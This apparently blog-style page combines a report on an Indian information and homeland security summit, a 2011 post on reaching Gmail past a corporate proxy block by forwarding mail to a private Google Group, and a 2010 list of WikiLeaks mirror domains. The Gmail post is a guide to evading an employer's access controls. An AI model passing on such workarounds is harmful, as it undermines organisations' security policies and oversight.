The summit addressed information and homeland security challenges facing the Indian Government and the society at large today. It was more of a platform to people in IT business across industries to share problems and discuss possible solutions. 'Security' , in this summit, was defined as doing business in new ways that reflect the emerging dangers across the globe, evolving concerns of customers, investors and employees.

How do we secure India, questions G K Pillai, union home secretary , Government of India, while giving his keynote address at the summit. "Navy , cost guard, border security force, air force and army - they all are there to protect India . But this is just one aspect of securing India. How to secure your business and house is another aspect. You can't secure one aspect leaving another insecure, for everything is connected. For example , in an office if one person tries to break the LAN rules, everybody else's security goes for a toss. So there are vested interests in saying that protection (related to information, data, house, business) is not up to the mark as everybody needs foolproof security" , said Pillai.

The increase in the use of Internet , laptops, mobiles have surely eased our lives but have lead to problems like hacking, theft of data and attacks of viruses. Security breaches are on the rise and it is quite obvious that without government intervention on rules, responsibilities and formal procedures, an information security framework can not prove effective.

The speakers laid a lot of stress on skill sets of people and practical aspects of learning as tools to feel secure. Pillai said: "India will take another four to five years to have skilled man power in all the fields whether we talk about police, forensic science, research and development or information technology . He added, "Besides , I need to ask all these people who have built the malls and sky rocketing building in India that how many times have they carried out fire drills to see whether people inside are really safe or can be escaped in case of a mishap. No body does it till the fire actually takes place. Same goes with hacking. We all must get into practical modes. Get your computers hacked as a hacking drill and this would prepare you for the worst."

The summit mainly included panel discussions on two topics - 'Information security-Implementation of technologies and information security mechanisms for a secure tomorrow' and 'Homeland security - State of preparedness and how to achieve a comprehensive real time infrastructure.' The speakers in these sessions included R S Sharma, director general and mission director, UIDAI, Gulshan Rai, director general, Indian Computer Emergency Response Team, GOI, Prasenjit Saha, VP, enterprise security services, Wipro Technologies, Raghu Raman, CEO, NATGRID, Ministry of Home Affairs, GOI, M K Chhabra (IGP), director, Bureau of Police research and Development, Anand Sankaran, senior VP and business head, Wipro (India, M East and Africa), and Shrikant Shitole, VP, transformation business and managed services, CISCO India and SAARC with moderator Damini Kumari, senior editor, ET Now.

How To Access Gmail when it is blocked??

2011-02-03T10:59:00.000-08:00

Hello friends,

I have recently joined a software company, which is one of the most reputed IT firm in world. I am writing this post, because I was fed from the proxy configuration of my system, which never allowed me to access neither gmail, nor facebook.
I tried hell lots of proxy even those proxy who have been recently set up, but nothing good came out, none of them worked. Probably, they update their banned sites list every minute.

Well , but again the question was how to access gmail's email, as it was main importance. So thought of taking a differenct approach. Is it necessary to acess gmail to read its mail content. Answere came out is NO, then it clicked me i can forward my mails to other mail provider , but to which one yahoo, rediff , all blocked, corporate email id , lol they dont even provide much space.
At this point, I had got my direction , how to approach, but again, second part was missing where to forward the mails.
I guess every company do allow access to google and its product except gmail, as they think other products of google is worthless. There it clicked me, if i can recieve mails from google group, then why i cannt send emails to google group.
Fortunatly, still google group is not widely used product, so company doesnot much worry about it. So, all I had to do was to create a google group with which i will get an email address, and make the settings of your group as private one. So, that only you can see the contents of the group, and forward you mails to googlegroup mail. Thats it. IT worked for me, Hope it works you guys also.

Step1: Create a googlegroup, you will get and id say XYZ . So ur id is xyz@googlegroups.com
step2: Forward all you mails from gmail to this address, as there is one forward option in gmail's setting tab.

Thats it done.

Wikileaks: Domain Name & MIRROR SITE

2010-12-10T13:50:00.000-08:00

Seriously, end of 2010 is getting very interesting first wikileaks, then indian hackers attack on pakistani govt, now hackers support to wikileak and US unable to do anything.

Anyways, due to of high sensitivity of wikileaks, first amazon had stopped providing the hosting space, and then domain name hosting company freezed the account wikileaks stating HACK ATTACK as reason, lol.

But still after all this mesh, wikileaks is up and running at direct link this http://213.251.145.96/ with various mirrors on different sites, who are happily providing the service to wikileaks. Some of the mirror which copied from its site are:

wikileaks.as50620.net	wikileaks.tard.is ipv6	freeus.jsdev.org
wikileaks.enzym.su	freeus.jsdev.org	wikileaks.cellue.de
wl.opsec.eu ipv6	wl.donatepl0x.com	wikileaks.challet.eu
wikileaks.kister.org	wl.gernox.de	wikileaks.morningtime.com
wikileaks.renout.nl	wikileaks.fdn.fr	wikileaks.gonte.se
wikileaks.kaptenkong.se	wikileaksmirror.proxelsus-hosting.de ipv6	leaks.gooby.org
wikileaks.dubronetwork.fr ipv6	wikileaks.perry.ch	wikileaks.sbr.im
wikileaks.u0d.de	wikileaks.81-89-98-125.blue.kundencontro...	www.fuckip.de
wikileaks.psytek.net	wl.mrkva.eu	wikileaks.joworld.net
www.wlmirror.com	wikileaks.chiquitico.org	wikileaks.rout0r.org
www.gruiiik.org	wikileaks.adhelis.com	wikileaks.high-color.de
wikileaks.holarse-linuxgaming.de	wl.alfeldr.de	wikileaks.jikan.fr
wikileaks.huissoud.ch	wikileaks.geekview.be	wikileaks.fs-cdn.net
wikileaks.burnzone.de	wikileaks.dysternis.de	wikileaks.nulset.net
wikileaks.franslundberg.com	wikileaks.krkr.eu ipv6	wl.yoltie.net
wikileaks.gnourt.org	wikileaks.theunfamiliar.co.uk	wikileaks.zeitkunst.org
wikileaks.aelmans.eu	wikileaks.serverius.net	wikileaks.synssans.nl
wl.ernstchan.net	wikileaks.yasaw.net	zwartemarktplaats.com
wikileaks.dena-design.de	wikileaks.zone84.net	wikileaks.subastas-xxx.com
cablegate.askedo.de	wikileaks.iuwt.fr	wikileaks.fernandoramirez.com.ar
wikileaks.chmod.fi	wlmirror.wildeboer.net	www.wikileaks.freelists.com.au
leaked.rndm.ath.cx	wikileaks.splichy.cz	wleaks.3sge.pulsedmedia.com
wleaks.hellfire.pulsedmedia.com	wikileaks.palisades-berlin.de	wikileaks.razor1911.com
wikileaks.dokansoft.com.ar	wikileaks.thinkfurther.de	wikileaks.trankil.info
wikileaks.gonte2.nu	leaks.stumcomie.com	wikileaks.timburke.org
wikileaks.ehcdev.com	wikileaks.zurk.org	wikileaks.myscripts24.de
wikileaks.breit.ws	wikileaks.emilts.com	wikileaks.ruicruz.pt
wikileaks.now-pages.com	wikileaks.ego-world.org	wikileaks.nerdpol.org ipv6
cablegate.r3blog.nl ipv6	wikileaks.footboot.net	www.wikileakz.eu
wikileaks.realprogrammer.org	wikileaks.the-secret-world.info	wikileaks.superjoesoftware.com
wikileaks.rtjuette.de	wikileaks.rustigereigers.nl	mirror1.wikileaks.lu
mirror2.wikileaks.lu	wikileaks.emptyflask.net	internaluse.net
wikileaks.r00t.la	wikileaks.cordover.id.au	brd.mcbf.net
wikileaks.merciful.nl	wikileaks.spurious.biz	wikileaks.1407.org
wl.datendetektei.de ipv6	wikileaks.mollar.me	azow.selb.us
wikileaks.furdev.org	wikileaks.datkan.net ipv6	wikileaks.nortemagnetico.es
wikileaks.threefingers.ca	wikileaks.brenne.nu ipv6	www.anontalk.com
wikileaks.hutonline.nl	vm8157.vps.tagadab.com	nl1.wikileaksmirror.nl
wikileaks.noomad.org	wikileaks.xcplanet.com	www.wikileaks.nw-ds.com
wikileaks.infinium.org.uk	wikileaks.piratskasit.cz	peoplerule.info
wikileaks.sirobert.com	wikileaks.solvare.se	wikileaks.marktaff.com
wikileaks.hmaks.com	im.wikileak.im	wikileaks.aamjanata.com
www.wikigoteo.dialetheia.net	wikileaks.dft-labs.eu	wikileaks.julietvanree.com
wikileaks.argenton.ch	wikileaks.i0i.co	wikileaks.lionelwood.com
wikileaks.antifan.de ipv6	wasiutynski.net	wikileaks.diedx.nl
wikileaks.chram.net	wikil3aks.dyndns.org	wikileaks.encgmail.com
wikileaks.yoerin.nl	wikileaks.mcpond.co.nz	wikileaks.siwhine.org
wikileaks.schroth.cx	wikileaks.digitalevuilnisman.nl	wikileaks.delight.ch
wikileaks.moochm.de	wikileaks.syncaddict.net	www.hallitus.info
info.patourie-systems.com	wikileaks.softic.cz	wikileaks.redhog.org
wikileaks.brokenbydesign.org	wikileaks.nisd.dk	wikileaks.sentientrobot.net
wikileaks.kronoss.org	wikileaks.s4ku.com	wikileaks.glembotzky.com
wikileaks.nperfection.com	wikileaks.laquadrature.net	wikileaks.legrandsoir.info
wikileaks.artwww.net	wikileaks.39mm.net	leaks.uaqv.com
wikileaks.unibrennt.at	wikileaks.krtek.net	www.emilts.com
leaks.3nglish.co.uk	wikileaks.explain-it.org	wikileaks.cathomen.org
wikileaks.dunnewind.net	wl.fcharlier.net	wikileaks.poete.eu.org ipv6
wikileaks.datenscheibe.org	wikileaks.kapitein.org	www.wikileaks.djity.net
wikileaks.nodemaster.de	wikileaks.listepik.net	wikileaks.explain-it.org
wikileaks.sedrati-dinet.net	wikileaks.rigacci.org	wikileaks.ratm.ch
wikileaks.tonbnc.fr	cablegate.sentientrobot.net	wikileaks.dunwich.org
wikileaks.spinrise.com	wikileaks.rothnet.org	wikileaks.webtito.be ipv6
wikileaks.lainconscienciadepablo.net	wikileaks.g33kthug.co.uk	wikileaks.b166er.net
wikileaksmirror.matstace.me.uk	87.106.58.253	wikileaks.virii.lu
wikileaks.junkle.org	leaks.iamfos.co	wikileaks.wass-media.com
wikileaks.karlsen.co	wikileaks.lupine.me.uk ipv6	wikileaks.webprofiles.org
wikileaks.azatoth.net	wl.unbloggbar.org	santocristo.info
wikileaks.back2hack.cc	wikileaks.supercrapule.com	wikileaks.bandaancha.eu
wl.treymassingill.com	wikileaks.poliisi.mobi	wikileaks.karlsen.co
wikileaks.rickfalkvinge.se	wikileaks.amette.eu	wikileaks.batsh.it
wikileaks.freei.me	wikileaks.chsdl.de	last.to
wikileaks.iheartfreedom.ca	wikileaks.rackstack.com	wikileaks.serverlicious.org
wikileaks.excds.se	wikileaks.under.ch	leaks.kooll.info
ichbinauchwikileaks.org ipv6	wikileaks.nldla.com	wikileaks.ic.cz
cablegate.dyndns.info	wikileaks.afturgurluk.org	wikileaks.phasebook.net
wikileaks.emquadat.com	wikileaks3.no-ip.org	wikileaks.hermans.net
wikileaks.urli.eu	wikileaks.laotracarboneria.net	wikileaks.datapusher.net
w.mtga.me	wleaks.shellmix.com	wikileaks.funkcentral.de
wikileaks.citizen-boycott.org	wikileaks.in-edv.de	wl.hor.de
wl.rekursion.ch	naixt-genne.com	wikileaks.aircraftdispatch.net
wikileaks.cimeterre.info	wikileaks.2qt.us	wikileaks.rhgnet.de
wikileaks.crypton-technologies.net	wikileaks.xgstatic.fr	wikileaks.medienfuzzis.com
wl.creative-guerillas.com	wikileaks.philpep.org ipv6	wikileaks.para-dice.de
wikileaks.outcast.no	wikileaks.bandsal.at ipv6	wikileaks.concretedonkey.cz.cc
wikileaks.oualid.net	wikileaks.webterrorist.net	wl.22web.net
wikileaks.deepdata.de	wikileaks.theano.de	wikileaks.buzzworkers.com
wikileaks.electric-castle.net	wikileaks.caseid.org	wikileaks.luchaspopulares.org
wikileaks.paysen.net	wikileaks.atpolitics.com	wikileaks.otnf.tk
wikileaks.nslu2-info.de	leaks.letsneverdie.net	wikileaks.yasaw.net
wikileaks.atpolitics.com	wlfreedom.info	mhym.de
www.wikileaks.videoteppista.net	wikileaks.deutero.org	wikileaks.grokia.se
wikileaks.mitov.eu	wikileaks.tamcore.eu	wikileaks.youfailed.de
wikileaks.stephaneerard.fr	wikileaks.jotocorp.com	wikileaks.canariaswireless.net
wikileaks.thearksakura.com	wikileaks.org.org	wikileaks.thefrackin.info
wikileaks.maero.dk	wikileaks.metrogeek.fr	wikileaks.simplaza.net
gouv.delation.org	wikileaks.fellr.net	wl.dixon.pl
wikileaks.zombix.pcriot.com	wikileaks.sphardy.com	wikileaks.wkellner.com
wl.thj.no	wikileaks.sodom.se	wikileaks.nethazard.eu
wikileaks.macventure.de	wikileaks.damn1337.de	wikileaks.bitciple.com
wl-mirror.sokoll.com	wikileaks.224charenton.net	help.majestan.com
wikileaks.giggsey.com	wl.kallix.net ipv6	wikileaks.scripter.se
wikileaks.unknowntruth.net	wikileaks.discipulosdopinguim.com.br	wl.kaizer.se
wikileaks.legalsutra.org	wikileaks.kitara.nl	wikileaks.kyak106.com
wikileaks.lillem4n.se	wikileaks.marpeck.net	wikileaks.leech.it
wikileaks.pamphleteer.de	wikileaks.return0.de	wikileaks.0x04.com
wikileaks.mirror.jfet.org	wikileaks.nerdhero.org	wikileaks.3ofcoins.net
wikileaks.g0rn.com	wikileaks.chpwn.com	wikileaks.fuck.cc
wikileaks.hoppipolla.net	wikileaks.slackdev.com	wikileaks.openmafia.org
wikileaks.paper.st	wikileaks.efremigio.es	wikileaks.zanooda.com
wikileaks.wtfstfu.org	wikileaks.freedomofspee.ch	www.elajt.info
wl.ito315.com	wikileaks.chuso.net	wikileaks.letras.net
wikileak.eicat.ca	wleaks.fryking.se	wl.23tube.org
wikileaks.0xff.it	wikileaks.apileofbytes.com	wikileaks.revspace.nl
leaks.curaj.tv	wikileaks.mumu.cz	wikileaks.kassala.de
wikileaks.mairipa.com	wikileaks.zilog.es	wikileaks.svartasegel.se
wikileaks.crome.us	wikileaks.chpwn.com	wikileaks.waixan.se
wikileaks.k-ribou.com	wikileaks.stasi.fi	wikileaks.milchi.de
wl.kollegstufe.org	leaks.freudian.sl	wikileaks.laez.nl
wikileaks.intresseklubben.org	wikileaksmirror.ch	wikileaks.dexite.de
74.63.248.219	wl.ownage4u.nl	wikileaks.peer7.de
wikileaks.infinityloop.es	wikileaks.orfeu.es	wikileaks.myke.us
wikileaks.noova.de ipv6	wikileaks.leckerbits.com	wikileaks.jikbag.net
wikileaks.pesqair.com	wikileaks.nicolbolas.org ipv6	wikileaks.vixns.net
wikileaks.byteserv.de	wikileaks.zro.co	wikileaks.popcnt.org
wikileaks.acm.jhu.edu	raubmordkopiert.ws	wikileaks.adoutte.com
wikileaks.iodev.org	wikileaks.ludost.net	wikileaks.roethof.net ipv6
wikileaks.thespinlight.com	www.wikileaks.consoled.us	wikileaks.apathie.net
team-moh.nl	wl.mimamau.de	www.wikileaks.ufone.de
wikileaks.mooo.se	wikileaks.neofosis.com	wikileaks.eglin.net
kileaks.byethost6.com	www.mistermikileaks.com	wikileaks.pwnt.nl
majjj.com	wikileaks.antoniojperez.info	www.wikileaks.queray.com
wikileaks.swissbite.net ipv6	wikileaks.ig33k.com	wikileaks.extensity.co.nz
wikileaks.rudemusic.net	wikileaks.adoutte.com	dgmx2k.dyndns.org:800
wl.fuldaecho.de	wikileaks.nc23.de	www.wikileaks-backup.com
wikileaks.cloudyks.org	wikileaks.systemcreators.org	wikileaks.bynoob.com
wl.mrblue.name	wikileaks.martindv.es	mirror.friendsofwikileaks.org.uk
wikileaks.disknode.org	wikileaks.projosh.com	wikileaks.adundo.com
wikileaks.lazzurs.net	wikileaks.deathserv.net	wikileaks.tollofsen.se
wikileaks.brokenco.de	wikileaks.buckyslan.com	wikileaks.moell.us
wikileaks.classcast.de	wikileaks.datenwelten.de	www.priv.us
wikileaks.neopt.org	wikileaks.samhargreaves.eu	www.finngaria.de
wikileaks.skvorsmalt.cz ipv6	wikileaks.futureoftheinternet.co.uk	wikileaks.jawawa.net
wikileaks.neurd.org	wlmirror.cosego.com	leaks.boerdy.net
wikileaks.gundam.eu ipv6	novgorod.zunedevwiki.org ipv6	wikileaks.compuspace.nl
wikileaks.biz.tm	wikileaks.k4hosting.com	wl.i2pbote.net
leaks.underrun.org	wikileaks.simleb.cc	wl.stefanpopp.de
wikileaks.tejero.ca	www.keepinformationfree.com	whatever.grillcheeze.com
wikileaks.olivu.com	wikileaks.jieji.org	wikileaks.zakulisa.org
wl.core.am	wlm.flooble.net	wikileaks.eondream.com
www.shamanhouse.com	wikileaks.galama.net	wikileaks.eondream.com
wikileaks.goodlifebikes.ca	wl.newscenterx.de	wikileaks.kofuke.org ipv6
wikileaks.xr3.cc	dev.quadodo.net	wikileaks.cybertroops.com
wikileaks.yacy.info	wikileaks.anarka.nl	wikileaks.happyforever.com
wikileaks.data-get.org	wikileaks.humanpets.com	wikileaks.spectle.com
wikileaks.hellopal.biz	wleaks.verymad.net	whitenetdownloads.com
WL.sanvicentemedia.com	wikileaks.lotek.org	wikileaks.profithost.net
wikileaksmirror.eu	wikileaks.chronzz.co	wikileaks.assaultaddicts.co.nz
wikiconstitution.info	wikileaks.tinychan.org	wikileaks.holy.jp
leaks.no.net	www.rswildy.com	www.wikileaks.angelbeast.org
www.wikileaks.angelbeast.org	wikileaks.drewhavard.com	wikileaks.keladi.org
wikileaks.awardspace.us	wikijm.com	wikileaks.pandas.es
wikileaks.mustashwax.com	wikileaks2.info	wikileaks.artwww.net
wikileaks.oneeyedman.net	wikileaks.openconnector.net	wikileaks.jordanroy.net
wikileaks.crazzy.se	wikileaks.moo2ah.com	wl.udderweb.com
www2181u.sakura.ne.jp	wikileaks.blackwire.com	wikileaks.rlsjrnl.info
wikileaked.jamestheawesome.kicks-ass.net	wikileaks-in.ganesh.me	80.70.1.168
wikileaks.luotettu.net	wikileaks.xakep.name	wikileaks.jejaring.org
wikileaks.mahut.sk	wl.davidtyler.we.bs	wl2.gernox.de
wikileaks.thebofh.nl ipv6	wikileaks.mine-server.info	wikileaks.revoleaks.com
wikileaks.sw0e.fr	bonsainetz.de	www.spacemission.org
wikileaks.media.pl	wikileaks.imrof.li	wikileaks.hoper.dnsalias.net
wikileaks.escism.net	wikileaks.lelapinblanc.eu	wikileaks.tryptamine.net
wikileaks.piratenpartei-nrw.de	wikileaks.cancamusa.net	wikileaks.unixnet.dk
wikileaks.skarta.net	wikileaks.is-back.de	wikileaks.radiopark.biz ipv6
wikileaks.gaiadelic.org	wikileaks.nexiom.net	wikileaks.matschbirne.com
www.extremesocial.biz	wikileaks.20.ro	wikileaks.blokovi.com
wikileaks.mooselook.de	wikileaks.minibofh.org	wikileaks.lengua.fr
wlmirror.riepernet.org	wikileaks.aamjanata.com	wikileaks.joevr.org
wikileaks.nocworld.com	wikileaks.toile-libre.org	wikileaks.parano.me
wikileaks.slite.org	wikileaks.zvdk.nl	wikileaks.picturesbyphilipk.de
wikileaks.hostingjuice.com	wikileaks.editia.info	wikileaks.renout.nl
wikileaks.phoeney.de	wikileaks.msga.se	wikileaks.infotubo.com
wikileaks.adzi.net	wikileaks.505.ru	www.example.sk
wikileaks.wazong.de	RealnoeBlinDelo.com	wikileaks.redandblack.cz ipv6
wikileaks.matschbirne.com	wikileaks.aadnoy.no	wikileaks.erfassungsschutz.net
wikileaks.aleph-0.net	wikileaks.oliverbaron.com	wikileaks.vyus.de
wikileaks.dugumkume.org	wikileaks.ladstaetter.at	wikileaks.willjones.eu
wikileaks.anti-hack.net	wikileaks3.piratenpartij.nl	wikileaks.ninanoe.net
wikileaks.g0tweb.com	74.207.247.66	www.wikileaks.udip.hr
wikileaks.spb.ru	wikileaks.schuijff.com	wikileaks.venix.eu
wikileaks.iqaida.de	fremont.ca.us.wikileaks-mirror.com	wikileaks.version2.nl
newark.nj.us.wikileaks-mirror.com	london.uk.eu.wikileaks-mirror.com	dallas.tx.us.wikileaks-mirror.com
zurich.ch.wikileaks-mirror.com	wikileaks.zici.fr	wikileaks.tunny.ch
wikileaks.boneputra.net	wikileaks.breit.ws	wikileaks.weltgehirnmaschine.de
wikileaks.csbnet.se	wikileaks.digital-revolution.at	wikileaks.linuxpro.nl
wl.dyndns-wiki.com	wikileaks.nijhofnet.nl ipv6	wikileaks.esposium.de
wikileaks.finepixonline.de	leaks.mooninhabitants.org	wikileaks.ralforolf.com
wikileaks.pancake-pirates.org	wl.farhad.su	93.90.28.65
wl.it.cx	wikileaks.lickmychip.com	wikileaks.kimori.org
wikileaks.beispieldomain.org	wikileaks.topdownmedia.nl	wikileaks.webpagearts.com
wikileaks.noreply.to	wl.openbotnet.eu	wikileaks.univers-libre.net
wikileaks.jejaring.org	wikileaks.queralt.me	wikileaks.loutre.ch
gatw.nl	wikileaks.yourhero.de	wikileaks.disruptive.org.uk
wl.scottymeuk.co.uk	wikileaks.interblag.org	wikileaks.euridies.com
wl.farhad.su	wikileaks.jesolo-wants-adsl-back.info	wikileaks.ansible.fr
wikileaks.violetsky.ch	wikileaks.dieinternetprofis.info	wikileaks.daphne-dionys.com
wlmirror.dyndns.org	whistleblower.futtta.be	wikileaks.beraldoleal.com
newfagscanttriforce.com	wikileaks.xen.no	wikileaks.trylle.no
wikileaks.anthony.lautre.net	wikileaks.groissgroissgroiss.com	wikileaks.nervsoft.com.ar
wikileaks.facenews.ru	wikileaks.pub-club.co.uk	wikileaks.faked.org
wikileaks.orientanet.es	wikileaks.phpdata.org	wikileaks.nekochan.ch
whythenetworks.nl	wikileaks.sajberhagen.com	wklks.dyndns.org
wikileaks.uenota.org.ua	wikileaks.4574.co.uk	wikileaks.silverbullion.jp
wikileaks.goodsoft.lv	wikileaks.gentlehost.net	wikileaks.gonades.org
wkl.fdumas.fr	wikileaks.knuttinatoll.net	wikileaks.3xm.es
wikileaks.byethost31.com	wikileaks.jezustoast.com	wikileaks.gvoice.eu
wikileaks.byethost10.com	wikileaks.wiki-mirror.de	wikileaks.farmavip.net
wikileaks.socketubs.net	wikileaks.network-13.com	wikileaks.juiced.nl
wikileaks.sety.cz	wikileaks.uruknet.com	wikileaks.brechi.com
beatriceask.se	wikileaks.uenota.org.ua	cablegate.dev-null.biz
wikileaks.aditam.org	wikileaks.bitplay.ru	wl.razor1911.com
wlmirror.hopto.org:8000	wikileaks.evilhex.org	wikileaks.mserverz.de
wikileaks.mazej.net:8080	wikileaks.com.hr	wikileaks.bcweb.co.uk
wikileaks.weis.tk	cablegate.technoaddict.fr	wikileaks.jsphoto.at
wikileaks.africanaristocrat.com	wikileaks.walgemoed.net	wikileaks.michaelkesler.info
wikil.dyndns.org	wikileaks.equal.cluenet.org	wikileaks.bennyjacobs.nl
wikileaks.kor.de	wikileaks.sobralhost.com	wikileaks.2114.su
wikileaks.blazor.org	wl.shathor.com	wikileaks.arulns.com
wikileaks.mznshadows.com	wikileaks.fuxter.ru	wiki.arrr.tv
wikileaks.synful.us	wikileaks.nodehost.co.uk	wikileaks.pod.cvut.cz
wikileaks.ihide.in	wikileaks.nukezone-cnd.com	wikileaks.key-server.de
wikileaks.silenceisdefeat.com	wikileaks.reezer.org	wikileaks.evilsocket.net
wikileaks.u35.dk	wikileaks.felixbecker.name	wikileaks.3g.de
wikileaks.tbotcotw.com	wikileaks.b0x.lv	wikileaks.sekil.fr
wikileaks.ebsserver.nl	www.mirrorleaks.com	partyboy.me
wikileaks.dashavoo.com	178.77.79.170	wikileaks.runlevel3.org
wikileaks.txapelbeltz.net	wikileaks.av3s.net	wikileaks.soft-creation.de
wikileaks.foetusproducts.com	leaks.hw.is	wikileaks.kiney.de
wikileaks.prismation.com	wikileaks.brunogola.com.br	wikileaks.spiltirsdag.dk
wikileaks.gehostet.de	wikileaks.dennix.eu	nepaliwikileaks.org
wlm.hor.de	iwikileaks.co.cc	ewikileaks.co.cc
wikileaks.sebastianbartsch.eu	wikileaks.bodji.net	wikileaks.espejonegro.org
leaks.freecooki.es	wikileaks.ecobytes.net	wikileaks.fahrplan.nl
wikileaks.justcrashed.net	wikileaks.flurss.com ipv6	wikileaks.fauxmerica.com
wikileaks.rolamasao.org	wikileaks.propagande.org	wl.flan3.net
cablegate.dyndns-remote.com	wikileaks.karimhossen.fr	wikileaks.hlubina.com
the-loser.net	wikileaks.tancee.com	wl-tdl.ath.cx
wikileaks.kermsware.net	wikileaks.kutxa.homeunix.org	geheimnisse.taegli.ch
www.swisswikileaks.ch	wikileaks.scratchbook.ch	wikileaks.extranet.ee
wikileaks.event-lan.net	wikileaks.bosna-i-hercegovina.info	december.freez.in ipv6
wikileaks.mein-le.de	wikileaks.mretc.net	wikileaks.uwe.gd
wikileaks.co.nl	wikileaks.mijniblog.nl	wikileaks.robsayers.com
wikileaks.i-caramba.de	www.wikileaks.rlsjrnl.info	wikileaks.mymobile.info
wikileaks.albirar.net	wikileaks.otherreality.net ipv6	wikileaks.quakeit.de
wikileaks.hostalis.net	wikileaks.maketo.se	wikileaks.sharea.tk
wkleak.tartiflettes.com	wikileaks.varchar.nl	wikileaks.fesbi.com
wikileaks.anavallasuiza.com	wikileaks.plixup.fr	wl.trololol.nl
wikileaks.imrof.li	freedomisimportant.org	wleaks.ddsd.de
wikileaks.archive-one.us	wikileaks.delovayakolbasa.ru	wikileaks.german-radio.net
wikileaks.rootssh.net	wikileaks.tuentichan.org	wikileaks.itos.pl
wikileaks.hackerheaven.org	wl.paranoidsecurity.nl	wikileaks.jugendverein.nl
wikileaks.redcube.nl	www.pucawo.net	wikileaks.neodox.org
wikileaks.besthost.nl	wikileaks.hinin.fr	wikileaks.WhoTheFox.com
wikileaks.capitanruby.es	wikileaks.rorbuilder.info	wikileaks.ce.tc
109.109.225.178	www.netur.net	wleak.de ipv6
wikileaks.insultant.nl ipv6	wikileaks.computing-museum.com	wikileaks.eldaria.net
wikileaks.dangermouse.ch	wikileaks.encoderx.net	wikileaks.dennix.eu
wikileaks.spacedigital.eu	wikileaks.vanwoudt.com	wikileaks.ypanema.de
wikileaks.mindfarming.de	wikileaks.feh.name	wikileaks.marketmentat.com
wikileaks.a-dit.fr	wikileaks.jcowboy.org	leaks.reluctantgrownup.com
wikileaks.diario-geek.com	wikileaks.sansinteret.info	1.wl-mirror.eu
wikileaks.ilore.de	wikileaks.kaelspencer.com	wl.crumpledpaper.co.uk
wikileaks.portalmafia.com	wikileaks.portalmafia.com	wikileaks.jonateo.com
wikileaks.goldendogdev.net	wikileaks.bluewebdesign.ro	wikileaks.anarchia-networks.com
wikileaks.peterelzinga.eu	wikileaks.muarf.org	wikileaks.nodomain.org ipv6
wikileaks.coresec.de	wikileaks.tevatur.com	wikileaks.cs1.ca
wikileaks.kwain.net	wikileaks.hunter-9999.de	wikileaks.pizza-sopranos.nl
wikileaks.etruhla.cz ipv6	wikileaks.kewagi.net	wikileaks.wutwhere.net
wikileaks.macbay.de	www.wikileaks.uk.net	wikileaks.ste.no
wikileaks.bryanwintermute.com	wikileaks.flojpg.info	wikileaks.adren.org ipv6
wikileaks.filteredperception.org	wikileaks.greenferret.net	wikileaks.hwsamuel.com
www.wikileaks.enrico-albrecht.de	wl.minechan.info	canadapezkiwi.com.ar
wikileaks.thatfleminggent.com ipv6	wikileaks.gecko.tc	wikileaks.westonwire.com.au
wikileaks.kunfoo.org	wikileaks.amakiir.net	wikileaks.bobotig.fr
wikileaks.miopiapolitica.mx	wikileaks.warperbbs.de	wl.bicisxavicano.com
wikileaks.warrantyvoid.de	wikileaks.maclupus.net ipv6	wikileaks.haaparanta.se
wikileaks.home-land-security.info	wikileaks.sylvie-nicolas.eu	wikileaks.abadcer.com
wikileaks2.sytes.net	wikileaks.realitysink.com	wikileaks.anidealforliving.com
wikileaks.greva.ro	leakz.dyndns-server.com	wikileaks.adactio.com
wikileaks.sansinteret.info	wikileaks.sjmulder.nl	wl.shiftcontrol.org ipv6
wleaks.dyndns.info	wikileaks.hechocomoelorto.com.ar	wikileaks.non-self-descriptive.org
wikileaks.thefrogz.net	wikileaks.extme.eu	wikileaks.lorea.org
wikileaks.sharegroundz.com	start.hating.us	wl.uberism.net
wikileaks.leet.la	wikileaks.tepames.net	wikileaks.isaaccastro.eu
wikileaks.graafschap-online.nl	wikileaks.guidomgs.com.ar	wiki-leaks.org.ua
x-file.com.ar	wikileaks.dusse.fr	wlm.wealthfare.org
3210.dyndns.biz	wikileaks.evermeet.eu	wikileaks.vervloekt.nl
wikileaks.megahuge.com	wikileaks.unibrennt.at	www.wikileaks.exclusive-consulting.info
wikileaks.huisjesmelkers.nl	wikileaks.gibraine.com	wikileaks.wiglaf.net
wikileaks.epter.com	www.yeswecat.es	wikileaks.theawayteam.org
wikileaks.marketmentat.com	wikileaks.ldmf.ch	wikileaks.arenyestratosferic.info
wikileaks.tepames.net	wikileaks.riot-act.org	wikileaks.socialismsocialismsocialism.or...
wikileaks.isecharlotte.com	wl.deleteme.fr	cg.antalyaadrasan.com
www.savetheleaks.org	wikileaks.natrox.org	72.14.189.17
wikileaks.seotaurus.com	www.wikileaks.rlsjrnl.info	wikileaks.trollocracy.com
wikileaks.markliveshere.com	wikileaks.csjk.de	213.133.123.117
wikileakspr.com	wikileaks.deigualaigual.net	v795.vir.kagoya.net
wikileaks.miro.ir	wikileaks.epicwinrar.com	wikileaks.zdark.com
wikileaks.prowikileaks.com	www.wikileaks.rlsjrnl.info	wikileaks.frontlawn.net
www.wikileaks.ulagatamiloli.com	wikileaks.panthera.ro	freedom.fortworthlocksmiths.com
wikileaks.exclusivenet.cz ipv6	www.helpwikileaks.co.za	wikileaks.1777.fr ipv6
wikileaks.t-muh.de	wikileaks.robertpenner.com	wikileaks.hmfaysalconnect.com
wikileaks.xrz.tw	wikileaks.anduin.net	wikileaks.olywip.org
wikileaks.philoucorp.fr	wikileaks.openstreetmap.pl	wikileaks.mattdm.com
wikileaks.computing-museum.com	wikileaks.flojpg.info	wikileaks.kex3.com
www.cns-systems.de	wikileaks.libriste.net	wikileaks.bachkhoathu.com
wikileaks.chillers-media.com	wikileaks.relaxman.nl	wikileaks.tuxonauten.de
wikileaks.glennie.fr	wikileaks.oma-kollegiet.dk	leakswiki.dyndns.info
wikileaks.netzistenzminimum.de	wikileaks.secretweb.at	wiki.abcd1234.de
wikileaks.gormotte.info ipv6	wikileaks.0o.cz	rsf.co
wikileaks.zioinc.com	wikileaks.voima.fi	wikileaks.hac.cc
wklks.robertogabrielli.net	leaksasylum.dyndns-wiki.com	wikileaks.7dots.de
87.106.248.5	wl.reto-schneider.ch	wikileaks.bosna-i-hercegovina.info
wikileaks.chrisbrandt.de	wikileaks.passion4rock.com	wikileaks.chormeos.com
wikileaks.bluuurgh.com ipv6	wikileaks.theapplefarm.net	wikileaks.domainfactory-kunde.de
wikileaks.matthijs.at	wl.canya.net	wikileaks.overt-ops.net
wikileaks.exclusivenet.cz ipv6	wikileaks.buffer.dk	188.94.113.24
wikileaks.anoluz.net	wikileaks.whatevz.net ipv6	wikileaks.red-net.info ipv6
wl.batu.me	wikileaks.bluewebdesign.ro	www.wleaks.nl
